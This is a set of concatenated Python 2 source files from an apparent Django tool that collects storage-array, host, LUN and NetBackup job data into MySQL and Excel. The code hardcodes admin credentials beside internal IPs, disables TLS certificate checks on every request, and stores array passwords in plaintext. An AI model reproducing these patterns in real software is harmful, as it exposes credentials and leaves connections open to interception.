values(%s,%s,%s,%s,%s,%s,%s,%s,%s)",(Array_in_view['array_id'],Array_in_view['array_ip'],Array_in_view['array_name'],Array_in_view['location'],Array_in_view['TOTALCAPACITY'],Array_in_view['FREEDISKSCAPACITY'],Array_in_view['STORAGEPOOLCAPACITY'],Array_in_view['STORAGEPOOLFREECAPACITY'],timenow)) conn2.commit() cursor2.close() conn2.close() if __name__ == '__main__': Arrays_lists=obtain_his_info() for each_array in Arrays_lists: func(each_array[0], each_array[1], each_array[2], each_array[3]) <file_sep># -*- coding: utf-8 -*- from __future__ import unicode_literals from django.shortcuts import render from django.http import HttpResponse from django.template import RequestContext from django.http import HttpResponseRedirect import requests import urllib, urllib2 import cookielib import ssl import pymysql import json import datetime import time def getpolicy_from_db(): data = {"time_to_search": "01:50:00", "storage_unit": 1} # 先将时间化为时间戳 a = data['time_to_search'] a = str(a) b = a.split(':') s = int(b[0]) * 3600 + int(b[1]) * 60 + int(b[2]) time_begin = datetime.date.today() time_stamp = time.mktime(time_begin.timetuple()) - 86400 + s c = int(time_stamp) time_to_insert = time.strftime("%Y/%m/%d %H:%M:%S", time.localtime(c)) conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() cursor.execute("select policy from myapp_nbu_time where time=%s", (time_to_insert)) policy_dict = cursor.fetchall() conn.close() print policy_dict try: getpolicy_from_db() finally: print 'aa'<file_sep>import requests import urllib, urllib2, json import cookielib import ssl def login_nbu(): url_head = 'https://172.16.31.10/opscenter/loadLogin.do' user_agent = r'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' head = {'User-Agent': user_agent, 'Content-Type': 'application/json;charset=UTF-8', 'Cache-Control': 'max-age=0', 'If-Modified-Since': bytes(0), 'Accept': '*/*', 'X-Requested-With': 'XMLHttpRequest'} payload = "userName=admin&password=<PASSWORD>" req = requests.post(url=url_head, headers=head,verify=False,data=payload) print req.status_code if __name__ == '__main__': login_nbu() <file_sep># -*- coding:utf-8 -*- import requests import urllib, urllib2, json import cookielib import ssl import xlwt import xlrd # #全局变量 #Arrays_list=[['192.168.127.12','2102350BVB10H8000046','admin','Admin@storage']] # Arrays_list=[['192.168.127.12','2102350BVB10H8000046','admin','Admin@storage'],['172.16.31.10','2102350HYS10H8000042','admin','Admin@storage'],['192.168.127.12','2102350DJX10G8000002','admin','Admin@storage'],['192.168.127.12','2102350DJX10G8000002','admin','Admin@storage'],['172.16.58.3','2102350BVB10F6000042','admin','Admin@storage'],['172.16.58.3','2102350BVB10F6000041','admin','admin@Storage']] Arrays_group_dict={} all_info = [] # 初始化xls格式 def set_style(name,height, bold=False): style = xlwt.XFStyle() # 初始化样式 font = xlwt.Font() # 为样式创建字体 font.name = name # 'Times New Roman' font.bold = bold font.color_index = 4 font.height = height #borders= xlwt.Borders() # borders.left= 6 # borders.right= 6 # borders.top= 6 # borders.bottom= 6 style.font = font # style.borders = borders ########这部分设置居中格式####### alignment = xlwt.Alignment() alignment.horz = xlwt.Alignment.HORZ_CENTER # 水平居中 alignment.vert = xlwt.Alignment.VERT_CENTER # 垂直居中 alignment.wrap = xlwt.Alignment.WRAP_AT_RIGHT style.alignment = alignment return style # 创建excel表 def init_excel(Arrays_group_dict): # 创建xls与sheet 并写好sheet字段 wk = xlwt.Workbook() st_summary = wk.add_sheet(u'存储信息汇总', cell_overwrite_ok=True) row1 = [u'存储名称', u'存储IP', u'存储ID', u'微码版本', u'补丁版本', u'总容量(单位:G)', u'剩余裸盘容量(单位:G)', u'存储池容量(单位:G)', u'存储池剩余容量(单位:G)'] #标准化列宽 st_summary.col(0).width = 256 * 15 st_summary.col(1).width = 256 * 15 st_summary.col(2).width = 256 * 30 st_summary.col(3).width = 256 * 15 for i in range(0, len(row1)): st_summary.write(0, i, row1[i], set_style('Times New Roman', 220, True)) # 向总表写入存储信息 count_array = 1 for each_array_id in Arrays_group_dict: sheetname = Arrays_group_dict[each_array_id][0] + ' ' + Arrays_group_dict[each_array_id][1] #print sheetname st = wk.add_sheet(sheetname, cell_overwrite_ok=True) row0 = [u'主机名', u'主机IP', u'主机wwn', u'lun名称', u'lun_ID', u'lun 大小(单位:G)', u'lun_wwn', u'盘机名称', u'盘机ID', u'盘机IP'] for i in range(0, len(row0)): st.write(0, i, row0[i], set_style('Times New Roman',220, True)) count=1 #设置列宽 st.col(0).width = 256 * 15 st.col(1).width = 256 * 13 st.col(2).width = 256 * 20 st.col(3).width = 256 * 30 st.col(6).width = 256 * 35 st.col(8).width = 256 * 30 st.col(9).width = 256 * 13 st_summary.write(count_array,0,sheetname ,set_style('Times New Roman', 220, False)) st_summary.write(count_array, 1, Arrays_group_dict[each_array_id][2], set_style('Times New Roman', 220, False)) st_summary.write(count_array, 2, each_array_id, set_style('Times New Roman', 220, False)) st_summary.write(count_array, 3, Arrays_group_dict[each_array_id][3], set_style('Times New Roman', 220, False)) st_summary.write(count_array, 4, Arrays_group_dict[each_array_id][4], set_style('Times New Roman', 220, False)) st_summary.write(count_array, 5, Arrays_group_dict[each_array_id][5], set_style('Times New Roman', 220, False)) st_summary.write(count_array, 6, Arrays_group_dict[each_array_id][6], set_style('Times New Roman', 220, False)) st_summary.write(count_array, 7, Arrays_group_dict[each_array_id][7], set_style('Times New Roman', 220, False)) st_summary.write(count_array, 8, Arrays_group_dict[each_array_id][8], set_style('Times New Roman', 220, False)) count_array = count_array + 1 #开始写入数据 # 遍历server_group,写入excel #print all_info all_info = Arrays_group_dict[each_array_id][9] for each_server in all_info: name = each_server[0] ip = each_server[1] wwns = each_server[2] wwn_string = '\n'.join(wwns) luns = [] luns = each_server[3] #print luns lun_name_list = [] for each1 in luns: lun_name_list.append(each1[0]) lun_id_string = '\n'.join(lun_name_list) lun_name_list = [] for each2 in luns: lun_name_list.append(each2[1]) lun_name_string = '\n'.join(lun_name_list) lun_size_list = [] for each3 in luns: lun_size_list.append(str(int(each3[2])/2097152)) lun_size_string = '\n'.join(lun_size_list) lun_wwn_list = [] for each4 in luns: lun_wwn_list.append(each4[3]) lun_wwn_string = '\n'.join(lun_wwn_list) st.write(count, 0, each_server[0], set_style('Times New Roman', 220, False)) st.write(count, 1, each_server[1], set_style('Times New Roman', 220, False)) st.write(count, 2, wwn_string, set_style('Times New Roman', 220, False)) st.write(count, 3, lun_name_string, set_style('Times New Roman', 220, False)) st.write(count, 4, lun_id_string, set_style('Times New Roman', 220, False)) st.write(count, 5, lun_size_string, set_style('Times New Roman', 220, False)) st.write(count, 6, lun_wwn_string, set_style('Times New Roman', 220, False)) st.write(count, 7, sheetname, set_style('Times New Roman', 220, False)) st.write(count, 8, each_array_id, set_style('Times New Roman', 220, False)) st.write(count, 9, Arrays_group_dict[each_array_id][2], set_style('Times New Roman', 220, False)) count=count +1 #组织总表 #结束后设置xls列宽行高 location = 'C:/Users/sdfh-guanc/Desktop/' + u'storage_info'.encode('utf-8') + '.xls' wk.save(location) # 先创建函数以方便url拼接 def build_uri(urlinput, endpoint): return '='.join([urlinput, endpoint]) def func(array_ip,array_id,array_user,array_passwd): url_head = 'https://' + array_ip + ':8088/deviceManager/rest/' login_url = url_head + 'xxxxx/login' system_url = url_head + array_id + '/system/' fc_port_url = url_head + array_id + '/fc_initiator?PARENTID' lun_url = url_head + array_id + '/lun/associate?TYPE=11&ASSOCIATEOBJTYPE=21&ASSOCIATEOBJID' server_url = url_head + array_id + '/host?range=[0-100]' data = {'scope': 0, 'username': array_user, 'password': <PASSWORD>} user_agent = r'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' context = ssl head = {'User-Agent': user_agent, 'Content-Type': 'application/json;charset=UTF-8', 'Cache-Control': 'max-age=0', 'If-Modified-Since': bytes(0), 'Accept': '*/*', 'X-Requested-With': 'XMLHttpRequest'} #data = {'scope': 0, 'username': 'admin', 'password': '<PASSWORD>'} cookie = cookielib.CookieJar() cookie_support = urllib2.HTTPCookieProcessor(cookie) opener = urllib2.build_opener(cookie_support) urllib2.install_opener(opener) server_list = ['', '', '', []] # 登陆并获取cookie中session信息,以备后用 #循环开始前先置空cookie iBaseToken = '' session_info='' req = requests.post(url=login_url, headers=head, json={"scope": 0, "username": array_user, "password": <PASSWORD>}, verify=False) print req.status_code session_info = requests.utils.dict_from_cookiejar(req.cookies)['session'] iBaseToken = json.loads(req.text)['data']['iBaseToken'] head2 = {'User-Agent': user_agent, 'Content-Type': 'application/json;charset=UTF-8', 'Cache-Control': 'max-age=0', 'If-Modified-Since': bytes(0), 'Accept': '*/*', 'X-Requested-With': 'XMLHttpRequest', 'iBaseToken':iBaseToken} cookies = dict(CSRF_IBASE_TOKEN=iBaseToken, DEVICE_ID=array_id, initLogin='true', session=session_info) # 获取盘机信息 req_main = requests.get(url=system_url, headers=head2, verify=False, cookies=cookies) main_info = json.loads(req_main.text)['data'] # init_excel(main_info['ID']) # 获取主机信息 ID IP NAME 生成字符串 req_server = requests.get(url=server_url, headers=head2, verify=False, cookies=cookies) server_info = json.loads(req_server.text)['data'] server_group = [] array_list = [] for item in server_info: server_list=['','',[],[]] server_ID = item['ID'] server_name = item['NAME'] server_IP = item['IP'] server_list[0] = server_name server_list[1] = server_IP # 将提取主机ID并获取相应wwn req_fc_port = None req_fc_port = requests.get(url=build_uri(fc_port_url, server_ID), headers=head2, verify=False,cookies=cookies) lun_list = [] lun_info = [] wwn_info = [] wwn_list = [] if 'data' in json.loads(req_fc_port.text): wwn_info = json.loads(req_fc_port.text)['data'] wwn_list = [] for eachwwn in wwn_info: wwn = eachwwn['ID'] wwn_list.append(wwn) server_list[2] = wwn_list #print server_list # 根据主机ID获取lun信息 req_lun = None req_lun = requests.get(url=build_uri(lun_url, server_ID), headers=head2, verify=False, cookies=cookies) if 'data' in json.loads(req_lun.text): lun_info = json.loads(req_lun.text)['data'] single_lun_list = [] for each in lun_info: single_lun_list=[] single_lun_list.append(each['ID']) single_lun_list.append(each['NAME']) single_lun_list.append(each['CAPACITY']) single_lun_list.append(each['WWN']) lun_list.append(single_lun_list) server_list[3] = lun_list server_group.append(server_list) #print server_group #将盘机ID与上面的server_group做成一个字典 array_list.append(main_info['NAME']) array_list.append(main_info['LOCATION']) array_list.append(array_ip) array_list.append(main_info['PRODUCTVERSION']) array_list.append(main_info['patchVersion']) array_list.append(int(main_info['TOTALCAPACITY'])/2097152) array_list.append(int(main_info['FREEDISKSCAPACITY'])/2097152) array_list.append(int(main_info['STORAGEPOOLCAPACITY'])/2097152) array_list.append(int(main_info['STORAGEPOOLFREECAPACITY'])/2097152) array_list.append(server_group) Arrays_group_dict[array_id] = array_list return Arrays_group_dict #test if __name__ == '__main__': for each_array in Arrays_list: func(each_array[0],each_array[1],each_array[2],each_array[3]) init_excel(Arrays_group_dict) <file_sep># -*- coding: utf-8 -*- import os import pymysql import time import datetime infile = 'D:/date.txt' #首先从nbu中取出数据 def get_info_and_insert(infile): f = open(infile,'r') sourceInline = f.readlines() dataset=[] for line in sourceInline: list1=line.strip('\n') list2=list1.split(',') dataset.append(list2) #处理并插入数据库 conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() for i in range(1,len(dataset)): job_id = dataset[i][0] start_time = int(dataset[i][8]) end_time = int(dataset[i][10]) elapsed = int(dataset[i][9])/60 policy = dataset[i][4] schedule = str(dataset[i][5]) client = str(dataset[i][6]) if dataset[i][11] == '': storage_unit = '' else: storage_unit = dataset[i][11][-1] #这里一定要注意,start_time一定先转换为int,然后再转为datetime time_local = time.localtime(start_time) start_time_ts = time.strftime("%Y/%m/%d %H:%M:%S",time_local) time_local2 = time.localtime(end_time) end_time_ts = time.strftime("%Y/%m/%d %H:%M:%S", time_local2) time_local3 = time.localtime(elapsed) elapsed_ts = time.strftime("%H:%M:%S", time_local3) # end_time_ts = time.strftime(end_time, "%Y/%m/%d %H:%M:%S") # end_time_ts = time.mktime(end_time) #str='insert into myapp_nbu_jobinfo(job_id,start_time,end_time,elapsed,policy,schedule,client) values(%s,%s,%s,%s,%s,%s.%s)",(job_id,start_time,end_time,elapsed,policy,schedule,client)' cursor.execute("select count(*) from myapp_nbu_jobinfo where job_id=%s",(job_id)) a = cursor.fetchall() if a[0][0] == 0: cursor.execute( "insert into myapp_nbu_jobinfo(job_id,start_time,end_time,elapsed,policy,schedule,client,storage_unit) values(%s,%s,%s,%s,%s,%s,%s,%s)",(job_id,start_time_ts,end_time_ts,elapsed,policy,schedule,client,storage_unit)) else: cursor.execute( "update myapp_nbu_jobinfo set start_time =%s ,end_time=%s,elapsed=%s,policy=%s,schedule=%s,client=%s,storage_unit=%s where job_id =%s", (start_time_ts, end_time_ts, elapsed, policy, schedule, client, storage_unit,job_id)) conn.commit() conn.close() #下一步是创建新的表以统计次数信息 def create_statics_table(): time_begin = datetime.date.today() time_stamp = time.mktime(time_begin.timetuple()) #清空daily表 conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() # cursor.execute("delete from myapp_nbu_daily") # conn.commit() # conn.close() #插入daily以及time表 conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() cursor.execute("select distinct storage_unit from myapp_nbu_jobinfo" ) tuple_of_storage_unit = cursor.fetchall() for each in tuple_of_storage_unit: for i in range(1,289): time_to_insert = time.strftime("%Y/%m/%d %H:%M:%S",time.localtime(time_stamp - 300*i)) cursor.execute("select * from myapp_nbu_time where time =%s and storage_unit = %s",(time_to_insert,each[0])) num2=cursor.rowcount if num2 == 0: cursor.execute( "insert into myapp_nbu_time(time,count,storage_unit) values(%s,%s,%s)", (time_to_insert,0,each[0])) cursor.execute("select * from myapp_nbu_daily where time =%s and storage_unit = %s", (time_to_insert,each[0])) num3 = cursor.rowcount if num3 == 0: cursor.execute( "insert into myapp_nbu_daily(time,count,storage_unit) values(%s,%s,%s)", (time_to_insert,0,each[0])) conn.commit() conn.close() #遍历每天统计 并插入两张表 def count_one_day(): conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() cursor.execute("select distinct storage_unit from myapp_nbu_jobinfo") tuple_of_storage_unit = cursor.fetchall() for each in tuple_of_storage_unit: cursor.execute( "select time from myapp_nbu_daily where storage_unit= %s",(each[0])) time_group = cursor.fetchall() cursor.execute( "select start_time,end_time,storage_unit,policy from myapp_nbu_jobinfo where storage_unit= %s",(each[0])) nbu_info_group = cursor.fetchall() for eachtime in time_group: count = 0 policy_list = [] policy_str='' for each_nbu_info in nbu_info_group: if eachtime[0] > each_nbu_info[0] and eachtime[0] < each_nbu_info[1]: count = count +1 policy_list.append(each_nbu_info[3]) policy_str = '\n'.join(policy_list) cursor.execute("update myapp_nbu_time set count=%s ,policy=%s where time=%s and storage_unit=%s",(count,policy_str,eachtime[0],each[0])) cursor.execute("update myapp_nbu_daily set count=%s ,policy=%s where time=%s and storage_unit=%s ",(count,policy_str, eachtime[0],each[0])) conn.commit() #将数据进行统计并插入周表 def count_one_week(): time_begin = datetime.date.today() time_stamp = time.mktime(time_begin.timetuple())-86400 conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() # 首先清除静态表 cursor.execute("delete from myapp_nbu_weekly") conn.commit() cursor.execute("select distinct storage_unit from myapp_nbu_jobinfo") tuple_of_storage_unit = cursor.fetchall() for each in tuple_of_storage_unit: cursor.execute( "select sum(COUNT) from myapp_nbu_daily where storage_unit=%s group by HOUR(time)",(each[0])) a = cursor.fetchall() #创建weekly表中字段 for i in range(0, 23): time_to_insert = time.strftime("%Y/%m/%d %H:%M:%S", time.localtime(time_stamp + 3600 * i)) cursor.execute("select * from myapp_nbu_weekly where time =%s and storage_unit=%s", (time_to_insert,each[0])) num2 = cursor.rowcount if num2 == 0: cursor.execute( "insert into myapp_nbu_weekly(time,count,storage_unit) values(%s,%s,%s)", (time_to_insert, 0,each[0])) b = a[i][0]/12 cursor.execute("update myapp_nbu_weekly set count=%s where time =%s and storage_unit=%s", (b,time_to_insert,each[0])) cursor.execute("select * from myapp_nbu_week_all where time =%s and storage_unit=%s", (time_to_insert, each[0])) num3 = cursor.rowcount if num3 == 0: cursor.execute( "insert into myapp_nbu_week_all(time,count,storage_unit) values(%s,%s,%s)", (time_to_insert, 0,each[0])) b = a[i][0] / 12 cursor.execute("update myapp_nbu_week_all set count=%s where time =%s and storage_unit=%s", (b, time_to_insert,each[0])) conn.commit() conn.close() def count_one_month(): time_begin = datetime.date.today() time_stamp = time.mktime(time_begin.timetuple()) - 86400 conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() cursor.execute("select distinct storage_unit from myapp_nbu_jobinfo") tuple_of_storage_unit = cursor.fetchall() #这里就无需清除任何表了 for each in tuple_of_storage_unit: cursor.execute( "select sum(COUNT) from myapp_nbu_weekly WHERE storage_unit = %s group by DAY (time)",(each[0])) a = cursor.fetchall() #创建month表中字段 time_to_insert = time.strftime("%Y/%m/%d", time.localtime(time_stamp)) cursor.execute("select * from myapp_nbu_monthly where time =%s and storage_unit = %s", (time_to_insert,each[0])) num3 = cursor.rowcount if num3 == 0: cursor.execute( "insert into myapp_nbu_monthly(time,count,storage_unit) values(%s,%s,%s)", (time_to_insert, 0,each[0])) b = a[0][0] / 24 cursor.execute("update myapp_nbu_monthly set count=%s where time =%s and storage_unit = %s", (b, time_to_insert,each[0])) conn.commit() conn.close() if __name__ == '__main__': #get_info_and_insert(infile) #create_statics_table() count_one_day() #count_one_week() #count_one_month()<file_sep># -*- coding: utf-8 -*- # Generated by Django 1.11.4 on 2018-03-08 16:28 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Array', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('array_id', models.CharField(max_length=50)), ('array_name', models.CharField(max_length=20)), ('location', models.CharField(max_length=20)), ('array_ip', models.CharField(max_length=20)), ('PRODUCTVERSION', models.CharField(max_length=50)), ('patchVersion', models.CharField(max_length=20)), ('TOTALCAPACITY', models.IntegerField()), ('FREEDISKSCAPACITY', models.IntegerField()), ('STORAGEPOOLCAPACITY', models.IntegerField()), ('STORAGEPOOLFREECAPACITY', models.IntegerField()), ], ), migrations.CreateModel( name='Lun', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('lun_ID', models.CharField(max_length=50)), ('lun_NAME', models.CharField(max_length=30)), ('lun_CAPACITY', models.IntegerField()), ('lun_WWN', models.CharField(max_length=20)), ], ), migrations.CreateModel( name='Server', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('server_ID', models.IntegerField()), ('server_name', models.CharField(max_length=50)), ('server_IP', models.CharField(max_length=20)), ('server_wwn', models.CharField(max_length=100)), ('array_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='myApp.Array')), ], ), migrations.AddField( model_name='lun', name='server_ID', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='myApp.Server'), ), ] <file_sep># -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models # Create your models here. #创建模型类 模型类里的属性就是标、表的字段 以便后期实例化 class Array(models.Model): array_id = models.CharField(max_length=50) array_name = models.CharField(max_length=20) location = models.CharField(max_length=20) array_ip = models.CharField(max_length=20) PRODUCTVERSION = models.CharField(max_length=50) patchVersion= models.CharField(max_length=20) TOTALCAPACITY = models.IntegerField() FREEDISKSCAPACITY = models.IntegerField() STORAGEPOOLCAPACITY= models.IntegerField() STORAGEPOOLFREECAPACITY = models.IntegerField() def __str__(self): return self.array_name class Server(models.Model): server_ID = models.IntegerField() server_name =models.CharField(max_length=50) server_IP = models.CharField(max_length=20) server_wwn = models.CharField(max_length=100) #引入外键 array_id = models.ForeignKey("Array") def __str__(self): return self.server_name class Lun(models.Model): lun_ID = models.CharField(max_length=50) lun_NAME = models.CharField(max_length=30) lun_CAPACITY = models.IntegerField() lun_WWN = models.CharField(max_length=20) server_ID = models.ForeignKey("Server") def __str__(self): return self.lun_NAME class Array_Admin(models.Model): array_ip = models.CharField(max_length=30) array_id = models.CharField(max_length=30) array_user = models.CharField(max_length=30) array_password = models.CharField(max_length=30) def __str__(self): return self.array_ip<file_sep># -*- coding: utf-8 -*- from __future__ import unicode_literals from .models import Server,Array,Lun,Array_Admin from django.shortcuts import render from django.http import HttpResponse from django.template import RequestContext from .array_info_collect import init_excel from .array_info_collect import func from .crontab import obtain_his_info from django.http import HttpResponseRedirect import requests import urllib, urllib2 import cookielib import ssl import pymysql import json import datetime import time # Create your views here. def index(request): return HttpResponse("hello world!") def detail(request,num,num2): return HttpResponse("detail-%s-%s"%(num,num2)) def initdb(request): #首先清除所有信息 conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() cursor.execute( "delete from myapp_lun") cursor.execute( "delete from myapp_server") cursor.execute( "delete from myapp_array") conn.commit() cursor.close() conn.close() Arrays_list = [] for query in Array_Admin.objects.all(): Arrays_list.append(query) # Arrays_list = [['192.168.127.12', '2102350BVB10H8000046', 'admin', 'Admin@storage'], # ['172.16.58.3', '2102350HYS10H8000042', 'admin', 'Admin@storage'], # ['172.16.17.32', '2102350DJX10G8000002', 'admin', 'Admin@storage'], # ['172.16.17.32', '2102350BVB10F6000042', 'admin', 'Admin@storage'], # ['172.16.31.10', '2102350BVB10F6000041', 'admin', 'admin@Storage']] Arrays_group_dict = {} all_info = [] def build_uri(urlinput, endpoint): return '='.join([urlinput, endpoint]) def func(array_ip, array_id, array_user, array_passwd): url_head = 'https://' + array_ip + ':8088/deviceManager/rest/' login_url = url_head + 'xxxxx/login' system_url = url_head + array_id + '/system/' fc_port_url = url_head + array_id + '/fc_initiator?PARENTID' lun_url = url_head + array_id + '/lun/associate?TYPE=11&ASSOCIATEOBJTYPE=21&ASSOCIATEOBJID' server_url = url_head + array_id + '/host?range=[0-100]' data = {'scope': 0, 'username': array_user, 'password': <PASSWORD>} user_agent = r'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' context = ssl head = {'User-Agent': user_agent, 'Content-Type': 'application/json;charset=UTF-8', 'Cache-Control': 'max-age=0', 'If-Modified-Since': bytes(0), 'Accept': '*/*', 'X-Requested-With': 'XMLHttpRequest'} # data = {'scope': 0, 'username': 'admin', 'password': '<PASSWORD>'} cookie = cookielib.CookieJar() cookie_support = urllib2.HTTPCookieProcessor(cookie) opener = urllib2.build_opener(cookie_support) urllib2.install_opener(opener) server_list = ['', '', '', []] # 登陆并获取cookie中session信息,以备后用 # 循环开始前先置空cookie iBaseToken = '' session_info = '' req = requests.post(url=login_url, headers=head, json={"scope": 0, "username": array_user, "password": <PASSWORD>}, verify=False) print req.status_code session_info = requests.utils.dict_from_cookiejar(req.cookies)['session'] iBaseToken = json.loads(req.text)['data']['iBaseToken'] head2 = {'User-Agent': user_agent, 'Content-Type': 'application/json;charset=UTF-8', 'Cache-Control': 'max-age=0', 'If-Modified-Since': bytes(0), 'Accept': '*/*', 'X-Requested-With': 'XMLHttpRequest', 'iBaseToken': iBaseToken} cookies = dict(CSRF_IBASE_TOKEN=iBaseToken, DEVICE_ID=array_id, initLogin='true', session=session_info) # 获取盘机信息 req_main = requests.get(url=system_url, headers=head2, verify=False, cookies=cookies) main_info = json.loads(req_main.text)['data'] # 实例化盘机信息并写入数据库 Array_in_view = Array() Array_in_view.array_id = array_id Array_in_view.array_ip = array_ip Array_in_view.array_name = main_info['NAME'] Array_in_view.location = main_info['LOCATION'] Array_in_view.PRODUCTVERSION = main_info['PRODUCTVERSION'] Array_in_view.patchVersion = main_info['patchVersion'] Array_in_view.TOTALCAPACITY = int(main_info['TOTALCAPACITY']) / 2097152 Array_in_view.FREEDISKSCAPACITY = int(main_info['FREEDISKSCAPACITY']) / 2097152 Array_in_view.STORAGEPOOLCAPACITY = int(main_info['STORAGEPOOLCAPACITY']) / 2097152 Array_in_view.STORAGEPOOLFREECAPACITY = int(main_info['STORAGEPOOLFREECAPACITY']) / 2097152 Array_in_view.save() # init_excel(main_info['ID']) # 获取主机信息 ID IP NAME 生成字符串 req_server = requests.get(url=server_url, headers=head2, verify=False, cookies=cookies) server_info = json.loads(req_server.text)['data'] server_group = [] array_list = [] for item in server_info: server_list = ['', '', [], []] server_ID = item['ID'] server_name = item['NAME'] server_IP = item['IP'] server_list[0] = server_name server_list[1] = server_IP # 将提取主机ID并获取相应wwn req_fc_port = None req_fc_port = requests.get(url=build_uri(fc_port_url, server_ID), headers=head2, verify=False, cookies=cookies) lun_list = [] lun_info = [] wwn_info = [] wwn_list = [] if 'data' in json.loads(req_fc_port.text): wwn_info = json.loads(req_fc_port.text)['data'] wwn_list = [] for eachwwn in wwn_info: wwn = eachwwn['ID'] wwn_list.append(wwn) server_list[2] = wwn_list #主机信息入库 server_in_view = Server() server_in_view.array_id = Array_in_view server_in_view.server_ID = server_ID server_in_view.server_IP = server_IP server_in_view.server_name = server_name server_in_view.server_wwn = wwn_list server_in_view.save() # print server_list # 根据主机ID获取lun信息 req_lun = None req_lun = requests.get(url=build_uri(lun_url, server_ID), headers=head2, verify=False, cookies=cookies) if 'data' in json.loads(req_lun.text): lun_info = json.loads(req_lun.text)['data'] single_lun_list = [] for each in lun_info: single_lun_list = [] single_lun_list.append(each['ID']) single_lun_list.append(each['NAME']) single_lun_list.append(each['CAPACITY']) single_lun_list.append(each['WWN']) lun_list.append(single_lun_list) #lun信息入库 lun_in_view = Lun() lun_in_view.server_ID = server_in_view lun_in_view.lun_ID = each['ID'] lun_in_view.lun_NAME = each['NAME'] lun_in_view.lun_CAPACITY = each['CAPACITY'] lun_in_view.lun_WWN = each['WWN'] lun_in_view.save() server_list[3] = lun_list server_group.append(server_list) # print server_group # 将盘机ID与上面的server_group做成一个字典 array_list.append(main_info['NAME']) array_list.append(main_info['LOCATION']) array_list.append(array_ip) array_list.append(main_info['PRODUCTVERSION']) array_list.append(main_info['patchVersion']) array_list.append(int(main_info['TOTALCAPACITY']) / 2097152) array_list.append(int(main_info['FREEDISKSCAPACITY']) / 2097152) array_list.append(int(main_info['STORAGEPOOLCAPACITY']) / 2097152) array_list.append(int(main_info['STORAGEPOOLFREECAPACITY']) / 2097152) array_list.append(server_group) Arrays_group_dict[array_id] = array_list return Arrays_group_dict for each_array in Arrays_list: #array_ip, array_id, array_user, array_passwd func(each_array.array_ip,each_array.array_id,each_array.array_user,each_array.array_password) return HttpResponseRedirect("../array") def array(request): #去models里取数据 # inirdb() serverlist = Server.objects.all() lunlist = Lun.objects.all() arraylist = Array.objects.all() #将数据传递給模板,模板渲染页面,然后将渲染好的页面传递给浏览器 return render(request,'myApp/array.html',{"server_in_tem":serverlist,"lun_in_tem":lunlist,"array_in_tem":arraylist}) #传递给模板的是一个字典,字典的key就是html中的输入值,value就是上面我们从model中取回的数据 pass def searcharray(request): #去models里取数据 # inirdb() #将数据传递給模板,模板渲染页面,然后将渲染好的页面传递给浏览器 # 传递给模板的是一个字典,字典的key就是html中的输入值,value就是上面我们从model中取回的数据 return render(request,'myApp/searcharray.html') pass def getjson(request): # 处理收集的数据信息 编辑成一条数据 conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() cursor.execute( "SELECT t1.lun_id,t1.lun_NAME,t1.lun_CAPACITY,t1.lun_WWN,t2.server_ID,t2.server_name,t2.server_IP,t2.server_wwn,t3.array_name,t3.location,t3.array_ip,t3.array_id FROM myapp_lun t1,myapp_server t2,myapp_array t3 WHERE t1.server_ID_id = t2.id AND t2.array_id_id = t3.id ") effect_lun_row = cursor.fetchall() conn.close() resdict = {} rowlist = [] for row in effect_lun_row: rowdict = {} rowdict['id'] = row[0] rowdict['lun_NAME'] = row[1] rowdict['lun_CAPACITY'] = row[2]/1024/1024/2 rowdict['lun_WWN'] = row[3] rowdict['server_ID'] = row[4] rowdict['server_name'] = row[5] rowdict['server_IP'] = row[6] aa = row[7] bb=aa.replace('[u\'','') cc=bb.replace('\']','') dd=cc.replace("\',",'') ee = dd.replace("u\'", '\n') rowdict['server_wwn'] = ee rowdict['array_name'] = row[8] rowdict['location'] = row[9] rowdict['array_ip'] = row[10] rowdict['array_id'] = row[11] rowlist.append(rowdict) resdict['total'] = len(rowlist) resdict['data'] = rowlist # return HttpResponse(resdict.get('total', 'failure')) # return HttpResponse(resdict.get('data', 'failure')) from django.http import JsonResponse return JsonResponse(resdict) def inputarrayinfo(request): return render(request, 'myApp/inputarrayinfo.html') def submit_array_info(request): array_auth_info=json.load(request) conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() cursor.execute( "select * from myapp_array_admin where array_ip = %s",(array_auth_info['array_ip'])) if cursor.rowcount == 0: cursor.execute("insert into myapp_array_admin(array_ip,array_user,array_password,array_id) values(%s,%s,%s,%s)",(array_auth_info['array_ip'],array_auth_info['array_user'],array_auth_info['array_password'],array_auth_info['array_id'])) resp="新增数据成功" else: cursor.execute("update myapp_array_admin set array_user=%s,array_password = %s ,array_id = %s where array_ip =%s",(array_auth_info['array_user'],array_auth_info['array_password'],array_auth_info['array_id'],array_auth_info['array_ip'])) resp="更新数据成功" conn.commit() conn.close() 